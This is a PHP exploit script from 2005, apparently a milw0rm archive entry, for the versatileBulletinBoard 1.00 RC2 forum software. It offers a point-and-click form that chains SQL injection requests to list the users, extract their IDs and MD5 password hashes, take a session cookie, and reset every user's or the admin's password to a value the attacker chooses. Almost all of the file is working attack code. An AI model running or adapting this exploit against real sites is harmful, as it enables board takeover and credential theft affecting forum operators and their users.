<?php # --- versatile_xpl.php 4.08 11/10/2005 # # # # versatileBulletinBoard 1.00 RC2 ( possibly prior versions) SQL injection / # # board takeover # # # # this exploit describes the vulnerability described here: # # http://rgod.altervista.org/versatile100RC2.html # # with a change: with magic_quotes both on or off, you can reset admin pass # # (look STEP 2b...) # # # # by rgod # # site: http://rgod.altervista.org # # # # make these changes in php.ini if you have troubles # # to launch this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # usage: launch this script from Apache, fill requested fields, then # # reset any user / admin password right now! # # # # Sun-Tzu: "Let your rapidity be that of the wind" # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<html><head><title>versatileBulletinBoard 1.00 RC2 SQL Injection/board take over</title><meta http-equiv="Content-Type" content="text/html;charset=iso-8859- 1"><style type="text/css"> body {background-color:#111111;SCROLLBAR-ARROW-COLOR: #ffffff;SCROLLBAR-BASE-COLOR: black;CURSOR: crosshair;color: #1CB081;} img {background-color: #FFFFFF !important}input{background-color:#303030 !important} option{background-color:#303030 !important}textarea {background-color: #303030 !important}input{color: #1CB081 !important} option {color: #1CB081 !important} textarea {color:#1CB081 !important}checkbox{background-color:#303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size:8pt !important; background-color:#111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size:0.8em !important} h3 {font-size: 0.8em !important}h4,h5, h6{ font-size: 0.8em !important} h1 font {font-size: 0.8em !important}h2 font {font-size: 0.8em !important} h3 font {font-size: 0.8em !important}h4 font,h5 font,h6 font{font-size:0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link, a:active,a:visited{text-decoration:none;color:#999900;} a:hover{text-decoration: underline;color:#1CB081;}.Stile5{font-family:Verdana,Arial,Helvetica,sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> versatileBulletinBoard 1.00 RC2 (possibly prior versions) SQL injection / board takeover </p><p class="Stile6"> a script by rgod at <a href="http://rgod.alte rvista.org" target="_blank"> http://rgod.altervista.org</a></p><table width="84% "> <tr> <td width="43%"> <form name="form1" method="post" action="'. $SERVER[PHP_SELF].'?path=value&host=value&port=value&proxy=value&newpass=value&t able_prefix=value"><p><input type="text" name="host"> <span class="Stile5"> hostname (ex: www.sitename.com)</span></p><p><input type="text" name="path"> <span class="Stile5"> path (ex:/versatile/ or /forum/ or just /)</span></p> <p> <input type="text" name="port"><span class="Stile5">specify a port other than 80 (default value) </span> </p> <p> <input type="text" name="table_prefix" ><span class="Stile5">usually vbb (default value) or vbb_ </span></p> <p> <input type="text" name="newpass"><span class="Stile5">new password for all users! ;) </span></p><p><input type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit" value="go!"></p></form></td></tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host).'...'; die; }} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($path<>'') and ($host<>'') and ($newpass<>'') and ($table_prefix<>'')) { if ($port=='') {$port=80;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} #STEP 1 -> List all users... $packet="GET ".$p."userlistpre.php?list='%20or%20isnull(1/0)/* HTTP/1.1\r\n"; $packet.="Accept: */*\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: HeinrichderMiragoRobot\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: close\r\n\r\n"; show($packet); sendpacket($packet); if (!eregi("200 OK",$html)) {echo '<br> Exploit failed... nothing here...'; } $magic_q=0; if (!eregi('<br>',$html)) {echo '<br>It seems we have magic_quote_gpc On here...let\'s try to reset only admin password...'; $magic_q=1; } if (!$magic_q) { $users=explode('<br>',$html); $temp=explode(' ',$users[0]); $users[0]=$temp[count($temp)-1]; for ($i=0; $i<=count($users)-1; $i++) //each user... { if (!eregi('anonymous',$users[$i]) and !eregi('deleted',$users[$i]) and !eregi(chr(0x0d),$users[$i])) // default users, eof... { echo '<br>'.htmlentities($users[$i]).'<br>'; #STEP 2 -> retrieve user ID for user $users($i) $packet="GET ".$p."index.php?target=viewmesg&select='UNION%20SELECT%20ID,ID,ID,ID"; $packet.=",ID,ID,ID,ID,ID,ID,ID,ID,ID,ID,ID,ID,ID,ID,ID,ID,ID%20FROM%20".$table_prefix; $packet.="_user%20where%20name='".$users[$i]."'/* HTTP/1.1\r\n"; $packet.="Accept: */*\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: FFC Trap Door Spider\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: close\r\n\r\n"; show($packet); sendpacket($packet); $temp=explode("subject: ",$html); $temp2=explode("<",$temp[1]); $uid=$temp2[0]; echo "<br> UID -> ".htmlentities($uid); #STEP 3 -> retrieve MD5 password hash for user $users($i) $packet="GET ".$p."index.php?target=viewmesg&select='UNION%20SELECT%20pass,pass,pass,pass"; $packet.=",pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass,pass"; $packet.=",pass%20FROM%20".$table_prefix."_user%20where%20name='".$users[$i]."'/* HTTP/1.1\r\n"; $packet.="Accept: */*\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Irvine/1.x.x\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: close\r\n\r\n"; show($packet); sendpacket($packet); $temp=explode("subject: ",$html); $temp2=explode("<",$temp[1]); $hash=$temp2[0]; echo "<br> hash -> ".htmlentities($hash); #STEP 4 -> go to reset password panel and retrieve a session cookie $packet="GET ".$p."index.php?target=setpass&u=".$uid."&ph=".$hash." HTTP/1.1\r\n"; $packet.="User-Agent: libwww-perl/5.53\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n"; $packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n"; $packet.="Connection: close, TE\r\n"; $packet.="TE: deflate, gzip, chunked, identity, trailers\r\n\r\n"; show($packet); sendpacket($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $cookie=$temp2[0]."path=/"; echo'<br>cookie: -> '.htmlentities($cookie).'<br><br>'; #STEP 5 -> reset the passoword to $newpass... $newpass=urlencode($newpass); $data="send=true&uid=".$uid."&newpass=".$newpass; $packet="POST ".$p."index.php?target=setpass HTTP/1.1\r\n"; $packet.="User-Agent: W3C_Validator/1.xxx libwww-perl/5.xx\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1"; $packet.="Accept-Language: en\r\n"; $packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n"; $packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n"; $packet.="Referer: http://".$host.":".$port.$path."index.php?target=setpass&u=".$uid."&ph=".$hash."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Cookie2: \$Version=1\r\n"; $packet.="Connection: close, TE\r\n"; $packet.="TE: deflate, gzip, chunked, identity, trailers\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; show($packet); sendpacket($packet); if (eregi("password changed",$html)) {echo "<br>Exploit successful...login with username: ".htmlentities($users[$i])." and password: ".htmlentities($newpass)."<br>"; echo "<br> Remember to reset your cookies...<br>";} else {echo "<br> Exploit failed, something goes wrong or maybe you're Britney Spears ...";} }}} else { #STEP 2b -> reset only admin passoword to $newpass... $newpass=urlencode($newpass); $data="send=true&uid=11&newpass=".$newpass; $packet="POST ".$p."index.php?target=setpass HTTP/1.1\r\n"; $packet.="User-Agent: W3C_Validator/1.xxx libwww-perl/5.xx\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1"; $packet.="Accept-Language: en\r\n"; $packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n"; $packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n"; $packet.="Referer: http://".$host.":".$port.$path."index.php?target=setpass&u=11&ph=\r\n"; $packet.="Cookie2: \$Version=1\r\n"; $packet.="Connection: close, TE\r\n"; $packet.="TE: deflate, gzip, chunked, identity, trailers\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n\r\n"; $packet.=$data; show($packet); sendpacket($packet); if (eregi("password changed",$html)) {echo "<br>Exploit successful...look for admin username and login with password: ".htmlentities($newpass)."<br>"; } else {echo "<br> Exploit failed, something goes wrong or maybe you're Britney Spears ...";} } } else {echo '<br>Fill in requested fields, optionally specify a proxy...';} ?> # milw0rm.com [2005-10-10]